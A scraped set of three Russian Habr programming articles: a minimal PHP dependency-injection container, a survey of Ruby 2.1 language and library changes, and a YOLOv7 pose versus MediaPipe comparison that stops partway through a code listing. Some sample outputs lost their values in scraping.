Многократно сталкивался с мнением, что DI это нечто сложное, громоздкое, медленное, подходящее только для «больших» проектов, а потому его использование конкретно на текущей задаче (500+ классов моделей, 300+ классов контроллеров) неоправданно. Отчасти это связано с тем, что DI однозначно ассоциируется с пакетами вроде Symfony «The Dependency Injection Component», заведомо с лихвой покрывающими все возможные варианты внедрения зависимостей.
Здесь я хочу привести некий функциональный минимум, который даст понимание самой концепции, дабы показать, что сама инверсия зависимостей может быть достаточно проста и лаконична.
#### Содержание
Реализация составляет 2 класса из 500 строк кода:
SimpleDi\ClassManager – предоставляет информацию о классах. Для полноценной работы ему необходим кэшер (мы используем Doctrine\Common\Cache\ApcCache), это позволит не создавать отражений при каждом вызове скрипта. Разбирает аннотации для последующей инъекции. Так же его возможно использовать в загрузчике, т.к. он хранит путь до файла класса.
SimpleDi\ServiceLocator – создает и инициализирует запрашиваемые у него сервисы. Именно этот класс производит инъекции.
1) В простейшем случае, когда для класса не заданы никакие настройки, SimpleDi\ServiceLocator работает аналогично паттерну multiton (он же Object Pool).
```
$service_locator->get('HelperTime');
```
2) Вариант внедрения через поле
```
class A
{
/**
* @Inject("HelperTime")
* @var HelperTime
*/
protected $helper_time;
}
$service_locator->get('A');
```
Такой вариант следует использовать исключительно в контроллерах, т.к. для внедрения будет создано отражение, что влияет на производительность в худшую сторону. Один класс на вызов скрипта с несколькими полями никак на время загрузки страницы не повлияют, но если это использовать повсеместно, потеря производительности будет вполне ощутима.
Здесь хочется сделать отступление в сторону Symfony. Там подобное внедрение допустимо:
* в контроллерах для полей с любой видимостью (в том числе protected, private) и это объясняется именно незначительным влиянием на производительность, а кроме такого сам контроллер является контейнером сервисов (и имеет метод get() аналогичный нашему ServiceLocator::get());
* в любых классах (сервисах) для public полей, т.к. в этом случае не будет создаваться отражения, и будет использоваться простое присвоение $service->field = $injected\_service, что для private/protected полей приведет к исключению.
В нашей реализации отражение создается всегда, внедрение всегда будет заканчиваться успешно.
3) Внедрение через метод
```
class B
{
/**
* @var HelperTime
*/
protected $helper_time;
/**
* @Inject("HelperTime")
* @param HelperTime $helper
*/
public function setHelperTime($helper)
{
$this->helper_time = $helper;
}
}
$service_locator->get('B');
```
Такой вариант наиболее приемлем и наравне с внедрением через поле следует использовать для установки зависимостей по умолчанию.
4) Внедрение через конфиг
```
$service_locator->setConfigs(array(
'class_b_service' => array(
'class' => 'B',
'calls' => array(
array('setHelperTime', array('@CustomHelperTime')),
)
)
));
$service_locator->get('class_b_service');
```
Это то, для чего и используется внедрение зависимостей. Теперь через настройки возможно подменить используемый в классе B хелпер, при этом сам класс B изменяться не будет.
5) Создание нового экземпляра класса. Когда необходимо иметь несколько объектов одного класса, возможно использование ServiceLocator в качестве фабрики
```
$users_factory = $service_locator;
$users_row = array(
array('id' => 1, 'name' => 'admin'),
array('id' => 2, 'name' => 'guest'),
);
$users = array();
foreach ($users_rows as $row) {
$user = $users_factory->createService('User');
$user->setData($row);
}
```
#### Пример
Возьмем произвольную полезную библиотеку и попробуем внедрить в наш проект. Допустим это [github.com/yiisoft/yii/blob/master/framework/utils/CPasswordHelper.php](https://github.com/yiisoft/yii/blob/master/framework/utils/CPasswordHelper.php)
Оказывается, мы не можем это сделать, потому что класс жестко завязан на абстолютно ненужные нам классы Yii и CException.
```
class CPasswordHelper
{
…
public static function generateSalt($cost=13)
{
if(!is_numeric($cost))
throw new CException(Yii::t('yii','{class}::$cost must be a number.',array('{class}'=>__CLASS__)));
$cost=(int)$cost;
if($cost<4 || $cost>31)
throw new CException(Yii::t('yii','{class}::$cost must be between 4 and 31.',array('{class}'=>__CLASS__)));
if(($random=Yii::app()->getSecurityManager()->generateRandomString(22,true))===false)
if(($random=Yii::app()->getSecurityManager()->generateRandomString(22,false))===false)
throw new CException(Yii::t('yii','Unable to generate random string.'));
return sprintf('$2a$%02d$',$cost).strtr($random,array('_'=>'.','~'=>'/'));
}
}
```
Для того, чтобы сделать класс доступным для любого проекта, достаточно было бы правильно описать зависимости:
```
class CPasswordHelper
{
/**
* Здесь я для краткости воспользуюсь public полями, вряд ли в данном случае это большее зло,
* чем вызов статических методов.
* @Inject
* @var \Yii\SecurityManager
*/
public $securityManager;
/**
* Генератор ошибок
* @Inject
* @var \YiiExceptor
*/
public $exceptor;
…
public function generateSalt($cost=13)
{
if(!is_numeric($cost))
$this->exceptor->create('yii','{class}::$cost must be a number.',array('{class}'=>__CLASS__));
$cost=(int)$cost;
if($cost<4 || $cost>31)
$this->exceptor->create('yii','{class}::$cost must be between 4 and 31.',array('{class}'=>__CLASS__));
if(($random=$this->securityManager->generateRandomString(22,true))===false)
if(($random=$this->securityManager()->generateRandomString(22,false))===false)
this->exceptor->create('yii','Unable to generate random string.');
return sprintf('$2a$%02d$',$cost).strtr($random,array('_'=>'.','~'=>'/'));
}
}
```
И завести класс – генератор исключений
```
class YiiExceptor
{
public function create($a, $b, $c = null)
{
throw new CException(Yii:t($a, $b, $c));
}
}
```
#### Заключение
Использование DI позволяет не задумываться над тем, в каком контексте будет использоваться ваш модуль. Дает возможность переносить отдельный класс в другой проект без набора (часто иерархического) зависимостей. При использовании аннотаций вам не придётся заниматься явным созданием объектов и явной передачей параметров и сервисов в объект. И, конечно, такой класс в разы проще поддается тестированию, нежели завязанный на статические методы или явно создающий экземпляры класса, вместо использования фабрики.
#### Ссылки
Сам пример [github.com/mthps/SimpleDi](https://github.com/mthps/SimpleDi)
Теория [ru.wikipedia.org/wiki/Внедрение\_зависимости](http://ru.wikipedia.org/wiki/Внедрение_зависимости)
Одна из лучших реализаций [symfony.com/doc/current/components/dependency\_injection/index.html](http://symfony.com/doc/current/components/dependency_injection/index.html) | https://habr.com/ru/post/191168/ | null | ru | null |
# Ruby 2.1 в деталях (Часть 2)
##### Refinements
Уточнения (refinements) больше не являются экспериментальной фичей и не выводят ворнинг, а также в их реализацию добавилось несколько деталей, делающих их использование более удобным.
Теперь к методу #using для активации уточнений на уровне файла добавился метод Module#using для активации в пределах модуля. Однако использование уточнений по-прежнему ограничено лексической областью видимости, т.е. они не будут активны при повторном открытии модуля.
```
module NumberQuery
refine String do
def number?
match(/\A(0|-?[1-9][0-9]*)\z/) ? true : false
end
end
end
module Example
using NumberQuery
"42".number? #=> true
end
module Example
"42".number? #=> #
end
```
Объявления уточнений теперь наследуются при использовании Module#include, т.е. вы можете группировать уточнения, определенные в разных модулях, в одном и активировать их все, вызывая #using только для этого модуля.
```
module BlankQuery
refine Object do
def blank?
respond_to?(:empty?) ? empty? : false
end
end
refine String do
def blank?
strip.length == 0
end
end
refine NilClass do
def blank?
true
end
end
end
module NumberQuery
refine Object do
def number?
false
end
end
refine String do
def number?
match(/\A(0|-?[1-9][0-9]*)\z/) ? true : false
end
end
refine Numeric do
def number?
true
end
end
end
module Support
include BlankQuery
include NumberQuery
end
class User
using Support
# ...
def points=(obj)
raise "points can't be blank" if obj.blank?
raise "points must be a number" unless obj.number?
@points = obj
end
end
```
##### String#scrub
Метод String#scrub был добавлен в Ruby 2.1 для помощи в работе со строками, содержащими некорректные байты.
```
# create a string that can't be sensibly printed
# 'latin 1' encoded string with accented character
string = "öops".encode("ISO-8859-1")
# misrepresented as UTF-8
string.force_encoding("UTF-8")
# and mixed with a UTF-8 character
string = "¡#{string}!"
```
Вряд ли вы будете создавать строки подобным образом сознательно (по крайней мере я на это надеюсь), но такое случается со строками, прошедшими через несколько различных систем.
Если у нас есть только конечный результат такого «путешествия», мы уже не можем восстановить все неверно закодированные символы, но мы можем хотя бы удалить их:
```
# replace with 'replacement character'
string.scrub #=> "¡�ops!"
# delete
string.scrub("") #=> "¡ops!"
# replace with chosen character
string.scrub("?") #=> "¡?ops!"
# yield to a block for custom replacement
# (in this case the invalid bytes as hex)
string.scrub {|bytes| "<#{bytes.unpack("H*").join}>"} #=> "¡ops!"
```
Тот же результат может быть достигнут вызовом метода #encoding с текущей кодировкой и invalid: :replace в качестве аргументов:
```
string.encode("UTF-8", invalid: :replace) #=> "¡�ops!"
string.encode("UTF-8", invalid: :replace, replace: "?") #=> "¡?ops!"
```
##### Улучшения производительности в классах Bignum/Rational
Классы Bignum и Rational теперь используют GNU Multiple Precision Arithmetic Library (GMP) для улучшения производительности.
##### Удален 4 уровень $SAFE
Задание $SAFE = 4 должно было переводить Ruby в режим «песочницы» и позволять выполнение недоверенного кода. Однако это не было особенно эффективным, т.к. требовало немалого количества кода, разбросанного по всему интерпретатору, да и практически никогда не использовалось, почему и было в итоге удалено.
```
$SAFE = 4 #=> #
```
##### clock\_gettime
Ruby получил доступ к системной функции clock\_gettime() с помощью метода Process.clock\_gettime, который предоставляет доступ к различным значениям даты. В качестве первого аргмента методу должен передаваться id времени:
```
Process.clock_gettime(Process::CLOCK_REALTIME) #=> 1391705719.906066
```
Передав Process::CLOCK\_REALTIME, вы получите отметку времени Unix в качестве возвращаемого значения. Оно будет также соответствовать Time.now.to\_f, но без создания объекта Time, поэтому выполнится несколько быстрее.
Process.clock\_gettime можно также использовать для доступа к «монотонным» часам, которые не зависят от перевода системных часов. Это может применяться для критичных временных замеров или бенчмаркинга.
Однако значение монотонных часов имеет смысл только при сравнении с другой такой же отметкой:
```
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
sleep 1
Process.clock_gettime(Process::CLOCK_MONOTONIC) - start_time #=> 1.0051147330086678
```
Еще одним значением, которое может быть использовано для бенчмаркинга, является CLOCK\_PROCESS\_CPUTIME\_ID. Оно работает так же, как и монотонные часы, т.е. постоянно увеличивается, но отличие в том, что оно увеличивается только когда CPU выполняет какую-либо работу. Эта отметка также имеет смысл только в сравнении с другой подобной отметкой.
```
start_time = Process.clock_gettime(Process::CLOCK_PROCESS_CPUTIME_ID)
sleep 1
Process.clock_gettime(Process::CLOCK_PROCESS_CPUTIME_ID) - start_time #=> 0.005225999999999981
```
Эти три значения часов, реальное, монотонное и процессорное, доступны всегда. В зависимости от используемой вами системы также возможен доступ и к другим видам часов, чтобы узнать это, читайте соответствующую [документацию](http://ruby-doc.org/core-2.1.0/Process.html#method-c-clock_gettime).
Чтобы проверить доступность доступность конкретного вида часов, достаточно проверить то, что определена соответствующая константа.
```
Process.const_defined?(:CLOCK_PROCESS_CPUTIME_ID) #=> true
Process.const_defined?(:CLOCK_THREAD_CPUTIME_ID) #=> false
```
Также доступен метод Process.clock\_getres, который позволяет узнать разрешение, предоставляемое конкретным видом часов.
##### Обновление RubyGems
Встроенная версия RubyGems была обновлена до версии 2.2. К [поддержке Gemfile](http://globaldev.co.uk/2013/03/ruby-2-0-0-in-detail/#rubygems-gemfile-support) была добавлена поддержка Gemfile.lock, как часть работы по [поддержке всех фич Bundler'а в RubyGems](https://github.com/jruby/jruby/issues/1146#issuecomment-29714318).
Опция --file(или -g) для gem install теперь не требует обязательного задания файла зависимостей, она автоматчески определяет наличие Gemfile. gem install также будет генерировать Gemfile.lock, если он еще не создан, и учитывать версии, указанные в нем, если он уже создан.
```
$ ls
Gemfile
$ gem install -g
Fetching: going_postal-0.1.4.gem (100%)
Installing going_postal (0.1.4)
$ ls
Gemfile
Gemfile.lock
```
Полный список изменений можно найти в фале [History](https://github.com/rubygems/rubygems/tree/master/History.txt).
##### Удалены устаревшие фичи Rake
Встроенный Rake обновлен до версии 10.1.0, в котором удалено множество deprecated-фич. В более старых версиях Rake уже давно выводилось предупреждение по поводу этих фич, поэтому проблем с совместимостью быть не должно.
Если вам нужно больше подробностей, смотрите полный список изменений в Rake версий [10.0.3](http://rake.rubyforge.org/doc/release_notes/rake-10_0_3_rdoc.html) и [10.1.0](http://rake.rubyforge.org/doc/release_notes/rake-10_1_0_rdoc.html).
##### Обновление шаблона RDoc
Теперь в Ruby включена версия RDoc версии 4.1, в которой содержится обновление шаблона по умолчанию с некоторыми улучшениями в плане организации доступа. Полный список изменений можно посмотреть в файле [History](https://github.com/rdoc/rdoc/blob/1f7cbffaa2192f7088156c51b0962e61f3dc8ad4/History.rdoc#410--2013-12-26).
##### Имя процесса
Был добавлен новый метод Process.setproctitle, позволяющий задавать имя процесса без обращения к переменной $0. Также был добавлен метод Process.argv0 чтобы получить исходное значение $0.
Например, у вас есть следующий фоновый скрипт:
```
data.each_with_index do |datum, i|
Process.setproctitle("#{Process.argv0} - job #{i} of #{data.length}")
process(datum)
end
```
тогда при запуске ps вы увидите примерно следующее:
```
$ ps
PID TTY TIME CMD
339 ttys000 0:00.23 -bash
7321 ttys000 0:00.06 background.rb - job 10 of 30
```
##### Замороженный Symbol
Объекты Symbol теперь составляют компанию целым и вещественным числам в качестве «замороженных» (frozen) объектов.
```
:foo.frozen? #=> true
:foo.instance_variable_set(:@bar, "baz") #=> #
```
Это изменение было сделано для улучшения сборки мусора для таких объектов в будущих версиях Ruby.
##### Исправлена утечка области видимости
При использовании ключевых слов private, protected, public или module\_function без аргументов в строке, выполняемой с помощью eval, instance\_eval или module\_eval, область видимости метода «протекает» в родительскую область видимости, т.е. в примере ниже метод foo будет закрытым:
```
class Foo
eval "private"
def foo
"foo"
end
end
```
В версии 2.1 это исправлено и foo будет открытым.
##### #untrusted? теперь псевдоним для #tainted?
Ранее в Ruby было два набора методов, чтобы помечать объекты как недоверенные, первый состоит из методов #tainted?, #taint и #untaint, второй — #untrusted?, #untrust и #trust. Они работают одинаково, но при этом выставляют разные флаги у объектов.
Теперь эти методы унифицированы и выставляют один и тот же флаг, причем более предпочтительным является #tainted? и компания, а при вызове #untrusted? и др. будут появляться ворнинги.
```
string = "foo"
string.untrust
string.tainted? #=> true
```
выведет предупреждение
```
example.rb:2: warning: untrust is deprecated and its behavior is same as taint
```
##### return в лямбдах
Лямбды отличаются от блоков и Proc-объектов тем, что return возвращает управление из лямбды, а не из вызывающего метода. Однако есть исключение, если лямбда передается с & и вызывается с помощью yield. Теперь это исправлено.
```
def call_with_yield
yield
end
def test
call_with_yield(λ {return "hello from lambda"})
"hello from method"
end
test #=> "hello from method"
```
Пример выше выведет «hello from lambda» в Ruby <= 2.0.0.
##### Адреса интерфейсов
Появилась возможность получить детали сетевых интерфейсов в системе с помощью метода Socket.getifaddrs. Он возвращает массив объектов Socket::Ifaddr.
```
require "socket"
info = Socket.getifaddrs.find do |ifaddr|
(ifaddr.flags & Socket::IFF_BROADCAST).nonzero? &&
ifaddr.addr.afamily == Socket::AF_INET
end
info.addr.ip_address #=> "10.0.1.2"
```
##### Поддержка именованных групп в StringScanner
StringScanner#[] теперь принимает в качестве аргментов объекты Symbol и возвращает значения соответствующих именованных групп.
```
require "strscan"
def parse_ini(string)
scanner = StringScanner.new(string)
current_section = data = {}
until scanner.eos?
scanner.skip(/\s+/)
if scanner.scan(/;/)
scanner.skip_until(/[\r\n]+/)
elsif scanner.scan(/\[(?[^\]]+)\]/)
current\_section = current\_section[scanner[:name]] = {}
elsif scanner.scan(/(?[^=]+)=(?.\*)/)
current\_section[scanner[:key]] = scanner[:value]
end
end
data
end
```
##### YAML.safe\_load
В YAML (или точнее в Psych, лежащий в основе реализации) был добавлен метод safe\_load. По умолчанию могут быть десериализованы следующие классы: TrueClass, FalseClass, NilClass, Numeric, String, Array и Hash. Для десериализации других классов, если вы уверены в их безопасности, нужно передать их в качестве аргумента.
Если будет передан объект неразрешенного класса, будет возбуждено исключение Psych::DisallowedClass, которое также может быть получено как YAML::DisallowedClass.
```
require "yaml"
YAML.safe_load(":foo: 1") #=> #
YAML.safe\_load(":foo: 1", [Symbol]) #=> {:foo=>1}
```
##### Поддержка MDNS и LOC записей в Resolv
Библиотека Resolv DNS получила базовую поддержку многоадресного DNS поиска. Он не поддерживает непрерывные запросы, и не может выполнять обнаружение сервиса, но все равно это весьма удобное нововведение (для полной поддержки DNS Service Discovery попробуйте [гем dnssd](http://rubygems.org/gems/dnssd)).
```
require "resolv"
resolver = Resolv::MDNS.new
resolver.getaddress("example.local") #=> #
```
Связка с библиотекой resolv-replace дает возможность использовать имена mDNS с большинством сетевых библиотек в Ruby.
```
require "resolv-replace"
require "net/http"
Resolv::DefaultResolver.replace_resolvers([Resolv::Hosts.new, Resolv::MDNS.new])
Net::HTTP.get_response(URI.parse("http://example.local")) #=> #
```
Resolv также получил возможность запрашивать DNS [LOC записи](http://en.wikipedia.org/wiki/LOC_record).
```
require "resolv"
dns = Resolv::DNS.new
# find.me.uk has LOC records for all UK postcodes
resource = dns.getresource("W1A1AA.find.me.uk", Resolv::DNS::Resource::IN::LOC)
resource.latitude #=> #
resource.longitude #=> #
```
И наконец, последнее изменение в Resolv, теперь можно получать полные сообщения DNS с помощью метода Resolv::DNS#fetch\_resource.
```
require "resolv"
dns = Resolv::DNS.new
dns.fetch_resource("example.com", Resolv::DNS::Resource::IN::A) do |reply, reply_name|
reply #=> #, Resolv::DNS::Resource::IN::A]], @answer=[[#, 79148, #, @ttl=79148>]], @authority=[], @additional=[]>
reply\_name #=> #
end
```
##### Сообщения об ошибках в классе Socket
В сообщения об ошибках были добавлены адреса сокетов.
```
require "socket"
TCPSocket.new("localhost", 8080) #=> #
```
##### Ускоренный Hash#shift
Производительность Hash#shift была значительно увеличена, что в сочетании с упорядоченной вставкой, появившейся в Ruby 1.9, дает возможность реализовать [LRU-кэш](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D1%8B_%D0%BA%D1%8D%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F#Least_Recently_Used_.28.D0.92.D1.8B.D1.82.D0.B5.D1.81.D0.BD.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B4.D0.B0.D0.B2.D0.BD.D0.BE_.D0.BD.D0.B5.D0.B8.D1.81.D0.BF.D0.BE.D0.BB.D1.8C.D0.B7.D1.83.D0.B5.D0.BC.D1.8B.D1.85.29).
```
class LRUCache
def initialize(size)
@size, @hash = size, {}
end
def [](key)
@hash[key] = @hash.delete(key)
end
def []=(key, value)
@hash.delete(key)
@hash[key] = value
@hash.shift if @hash.size > @size
end
end
```
##### Улучшение производительности классов Queue, SizedQueue и ConditionVariable
Классы Queue, SizedQueue и ConditionVariable были ускорены засчет реализации их на C (ранее были реализованы на Ruby).
##### Перехват внутреннего исключения в Timeout
Теперь стало невозможным перехватывать исключения, используемые внутри класса Timeout для прерывания выполнения блока. Это деталь внутренней реализации, в то время как внешнее исключение Timeout::Error осталось неизменным и может быть перехвачено.
```
require "timeout"
begin
Timeout.timeout(1) do
begin
sleep 2
rescue Exception
# no longer swallows the timeout exception
end
end
rescue StandardError => e
e #=> #
end
```
##### Множества
В класс Set были добавлены методы #intersect? и #disjoint?. Метод #intersect? возвращает true, если объект и аргумент имеют хотя бы один общий элемент и false в противном случае, #disjoint? работает наоборот.
```
require "set"
a = Set[1,2,3]
b = Set[3,4,5]
c = Set[4,5,6]
a.intersect?(b) #=> true
b.intersect?(c) #=> true
a.intersect?(c) #=> false
a.disjoint?(b) #=> false
b.disjoint?(c) #=> false
a.disjoint?(c) #=> true
```
Другим важным изменением в Set является то, что метод #to\_set будет возвращать сам объект, а не созданную копию.
```
require "set"
set = Set["foo", "bar", "baz"]
set.object_id #=> 70286489985620
set.to_set.object_id #=> 70286489985620
```
##### Упрощение обработки ответов WEBrick
Теперь тело HTTP ответа от WEBrick может быть присвоено любому объекту с методами #read и #readpartial. Ранее это могли быть только объекты IO или String. Пример ниже реализует класс, выводящий полученный ответ каждую секунду в течение 10 секунд.
```
require "webrick"
class EnumeratorIOAdapter
def initialize(enum)
@enum, @buffer, @more = enum, "", true
end
def read(length=nil, out_buffer="")
return nil unless @more
until (length && @buffer.length >= length) || !fill_buffer; end
if length
part = @buffer.slice!(0, length)
else
part, @buffer = @buffer, ""
end
out_buffer.replace(part)
end
def readpartial(length, out_buffer="")
raise EOFError if @buffer.empty? && !fill_buffer
out_buffer.replace(@buffer.slice!(0, length))
end
private
def fill_buffer
@buffer << @enum.next
rescue StopIteration
@more = false
end
end
server = WEBrick::HTTPServer.new(Port: 8080)
server.mount_proc "/" do |request, response|
enum = Enumerator.new do |yielder|
10.times do
sleep 1
yielder << "#{Time.now}\r\n"
end
end
response.chunked = true
response.body = EnumeratorIOAdapter.new(enum)
end
trap(:INT) {server.shutdown}
server.start
```
##### Numeric#step
Метод #step класса Numeric теперь вместо позиционных аргументов может принимать именованные аргументы by: и to:. Аргумент to: является необязательным, если он не задан, последовательность будет бесконечной. При использовании позиционных аргментов этого можно достичь, указав nil в качестве первого аргумента.
```
0.step(by: 5, to: 20) do |i|
puts i
end
```
выведет
```
0
5
10
15
20
```
```
0.step(by: 3) do |i|
puts i
end
0.step(nil, 3) do |i|
puts i
end
```
в обоих случаях выведут
```
0
3
6
9
12
... and so on
```
##### IO
Метод IO#seek теперь наряду с константами IO::SEEK\_CUR, IO::SEEK\_END и IO::SEEK\_SET принимает объекты Symbol :CUR, :END и :SET
В качестве второго аргемнта теперь можно передавать IO::SEEK\_DATA и IO::SEEK\_HOLE (или :DATA и :HOLE). Когда они заданы, первый аргумент используется как минимальный размер данных/пустого места для перехода.
```
f = File.new("example.txt")
# sets the offset to the start of the next data chunk at least 8 bytes long
f.seek(8, IO::SEEK_DATA)
# sets the offset to the start of the next empty space at least 32 bytes long
f.seek(32, IO::SEEK_HOLE)
```
Эта может поддерживаться не на всех платформах, что можно проверить с помощью IO.const\_defined?(:SEEK\_DATA) и IO.const\_defined?(:SEEK\_HOLE).
##### Использование IO \_nonblock без возбуждения исключений
Методы IO#read\_nonblock и IO#write\_nonblock могут принимать именованный аргумент exception:. Если он задан в false (по умолчанию true), методы будут возвращать при ошибке соответствующий объект Symbol вместо возбуждения исключений.
```
require "socket"
io = TCPSocket.new("www.example.com", 80)
message = "GET / HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
loop do
IO.select(nil, [io])
result = io.write_nonblock(message, exception: false)
break unless result == :wait_writeable
end
response = ""
loop do
IO.select([io])
result = io.read_nonblock(32, exception: false)
break unless result
next if result == :wait_readable
response << result
end
puts response.lines.first
```
##### IO игнорирует внутреннюю кодировку, если внешняя ASCII-8BIT
Если вы задаете внутреннюю и внешнюю кодировки по умолчанию, Ruby будет преобразовывать из внешней кодировки во внутреннюю. Исключением является случай, когда внешняя кодировка ASCII-8BIT, в этом случае преобразования не происходит.
Это же исключение должно быть сделано, если кодировки передаются методу IO в качестве аргумента, но этого не было и преобразование производилось. Баг был исправлен.
```
File.read("example.txt", encoding: "ascii-8bit:utf-8").encoding #=> #
```
##### #include и #prepend теперь открыты
Методы #include и #prepend теперь открыты, это касается классов Module и Class.
```
module NumberQuery
def number?
match(/\A(0|-?[1-9][0-9]*)\z/) ? true : false
end
end
String.include(NumberQuery)
"123".number? #=> true
```
```
require "bigdecimal"
module FloatingPointFormat
def to_s(format="F")
super
end
end
BigDecimal.prepend(FloatingPointFormat)
decimal = BigDecimal("1.23")
decimal.to_s #=> "1.23" # rather than "0.123E1"
```
*В третьей части будут новые методы в классах Module и Object, изменения в сетевых классах и другие обновления в стандартной библиотеке.*
[Первая часть](http://habrahabr.ru/post/222941/) [Третья часть](http://habrahabr.ru/post/223521/) | https://habr.com/ru/post/223209/ | null | ru | null |
# YOLOv7 pose vs MediaPipe при оценке позы человека
Поза YOLOv7 была представлена в репозитории YOLOv7 через несколько дней после первоначального выпуска в июле ‘22. Это одноступенчатая модель оценки позы для нескольких человек. Поза YOLOv7 уникальна, поскольку она отличается от обычных двухэтапных алгоритмов оценки позы. Благодаря снижению сложности одноступенчатых моделей мы можем ожидать, что они будут быстрее и эффективнее.
1. [Оценка позы человека на основе глубокого обучения](#1)
2. [Оценка позы человека в реальном времени](#2)
3. [Что нового в позе YOLOv7?](#3)
4. [Что такое поза MediaPipe?](#4)
5. [Особенности YOLOv7 pose vs MediaPipe](#5)
6. [Код YOLOv7 pose](#6)
7. [Сравнение YOLOv7 и MediaPipe на процессоре](#7)
8. [Вывод графического процессора YOLOv7](#8)
1. Оценка позы человека на основе глубокого обучения
----------------------------------------------------
Алгоритмы оценки позы, основанные на глубоком обучении, прошли долгий путь с момента первого выпуска DeepPose от Google в 2014 году. Эти алгоритмы обычно работают в два этапа.
* Обнаружение человека.
* Локализация ключевых точек.
В зависимости от того, какой этап наступает первым, их можно разделить на подходы "**сверху вниз**" и "**снизу вверх**".
#### Подход сверху вниз
В этом методе сначала обнаруживается человек, а затем ориентиры локализуются для каждого человека. Чем больше число людей, тем больше вычислительная сложность. Эти подходы не зависят от масштаба. Они хорошо справляются с популярными тестами с точки зрения точности. Однако из-за сложности этих моделей получение вывода в реальном времени требует больших вычислительных затрат.
#### Подход "снизу вверх"
При таком подходе он находит не связанные с личностью ориентиры (ключевые точки) всех людей на изображении сразу, а затем группирует их по отдельным лицам. **Вероятностная карта, называемая тепловой** картой, используется этими подходами для оценки вероятности того, что каждый пиксель содержит определенный ориентир (ключевую точку). С помощью Non-maximum suppression фильтруется наилучший ориентир. Они менее сложны по сравнению с методами сверху вниз, но за счет снижения точности.
2. Оценка позы человека в реальном времени
------------------------------------------
В зависимости от устройства [CPU / GPU / TPU и т. Д.] Производительность разных фреймворков различается. Существует множество двухэтапных моделей оценки позы, которые хорошо зарекомендовали себя в контрольных тестах. Альфа-поза, открытая поза, Глубокая поза, и это лишь некоторые из них. Однако из-за относительной сложности двухэтапных моделей получение производительности в реальном времени требует больших вычислительных затрат. Эти модели работают быстро на графических процессорах, но не так сильно на процессорах.
С точки зрения эффективности и точности MediaPipe - это хорошо сбалансированная структура для оценки позы. Он генерирует обнаружение в реальном времени на процессорах. Имея это в виду, мы протестировали позу YOLOv7, чтобы посмотреть, насколько она отличается от MediaPipe.
3. Что нового в позе YOLOv7?
----------------------------
В отличие от обычных алгоритмов оценки позы, [YOLOv7](https://github.com/WongKinYiu/yolov7) pose представляет собой одноступенчатый детектор ключевых точек для нескольких человек. Это похоже на подход снизу вверх, но без тепловой карты. Это расширение одноразового детектора позы – YOLO-Pose. В нем представлены лучшие подходы как сверху вниз, так и снизу вверх. Поза YOLOv7 обучается на наборе данных COCO, который имеет 17 базовых топологий. Он реализован в PyTorch, что делает код очень простым для настройки в соответствии с вашими потребностями. Предварительно обученной моделью обнаружения ключевых точек является [yolov7-w6-pose.pth](https://github.com/WongKinYiu/yolov7/releases/download/v0.1/yolov7-w6-pose.pt).
4. Что такое поза MediaPipe?
----------------------------
MediaPipe Pose - это система оценки позы для одного человека. Он использует топологию ориентира BlazePose 33. BlazePose - это надмножество ключевых точек COCO, топологии Blaze Palm и Blaze Face. Он работает в два этапа – обнаружение и отслеживание. Поскольку обнаружение выполняется не в каждом кадре, MediaPipe может выполнять **вывод быстрее**. В MediaPipe есть три модели для оценки позы.
* BlazePose GHUM Heavy
* BlazePose GHUM Full
* BlazePose GHUM Lite
Эти модели помечены как сложность 0, 1 и 2 соответственно.
Решение MediaPipe pose также интегрировано с сегментацией, которую можно переключать, просто передавая флаг. Ознакомьтесь с этой статьей о [позе MediaPipe](https://learnopencv.com/building-a-body-posture-analysis-system-using-mediapipe/) для получения дополнительной информации.
5. Особенности YOLOv7 pose vs MediaPipe
---------------------------------------
| | | |
| --- | --- | --- |
| **Характеристики** | **YOLOv7 pose** | **MediaPipe** |
| Топология | 17 ключевых точек **COCO** | 33 Ключевые точки **COCO** + **Blaze** **Palm** + **Blaze** **Face** |
| Рабочий процесс | Обнаружение выполняется для всех кадров | Обнаружение выполняется один раз, за которым следует отслеживание, пока не произойдет закупорка |
| Поддержка GPU | Поддержка как CPU, так и GPU | Только процессор |
| Сегментация | Сегментация, не интегрированная в позу напрямую | Интегрированная сегментация |
| Количество человек | Несколько человек | Один человек |
YOLOv7 - это система обнаружения нескольких человек. MediaPipe не может победить YOLOv7 в этой категории, поэтому мы не будем анализировать их дальше. На следующем видео показано, как YOLOv7 оценивает позу нескольких человек на GPU против MediaPipe.
MediaPipe CPU vs YOLOv7 GPU обнаружение нескольких человек
6. Код YOLOv7 pose
------------------
YOLOv7 Pose использует служебную функцию letterboxчтобы изменить размер изображения перед выводом. Мы заметили, что нет сопоставления измененных выходных данных с исходными входными данными. Это означает, что если вы передадите видео с разрешением 1080 × 1080 для вывода, выходное видео будет иметь разрешение 960 × 960. Вы не получаете ориентиры, сопоставленные с исходным изображением. Поэтому мы внесли некоторые изменения в код ради нашего эксперимента.
* Клонируйте репозиторий YOLOv7 и поместите `yolov7-pose.py` в корневом каталоге.
* Заменить `yolov7/utils/plots.py` с нашей версией `plots.py`.
Эти файлы экспериментов доступны в `Experiments` каталог. Для установки вы можете ознакомиться со статьями [Поза YOLOv7](https://learnopencv.com/yolov7-object-detection-paper-explanation-and-inference/#YOLOv7-Pose-Estimation)и [Оценка позы человека с использованием MediaPipe](https://learnopencv.com/building-a-body-posture-analysis-system-using-mediapipe/).
Помимо обычного импорта, нам нужны следующие служебные функции.
* **почтовый ящик**: изменение размера почтового ящика масштабирует изображение, сохраняя соотношение сторон, но любые области, которые не были сняты, заливаются фоновым цветом.
* **non\_max\_suppression\_kpt**: Как следует из названия, эта функция выполняет Non-maximum suppression результатов вывода.
* **output\_to\_keypoint**: Возвращает batch\_id, class\_id, x, y, w, h, conf.
* **plot\_skeleton\_kpts**: Рендеринг ориентиров и соединительных пар.
### Функция для обнаружения и построения ориентиров
Следующая функция в значительной степени понятна со встроенными комментариями. Сначала изображение преобразуется в тензор 4D [1, h, w, c] и загружается в вычислительное устройство для прямой передачи. Здесь 1 - это размер пакета. Функция **pose\_video** возвращает аннотированное изображение вместе с частотой кадров в секунду при прямом проходе.
```
def pose_video(frame):
mapped_img = frame.copy()
# Letterbox resizing.
img = letterbox(frame, input_size, stride=64, auto=True)[0]
print(img.shape)
img_ = img.copy()
# Convert the array to 4D.
img = transforms.ToTensor()(img)
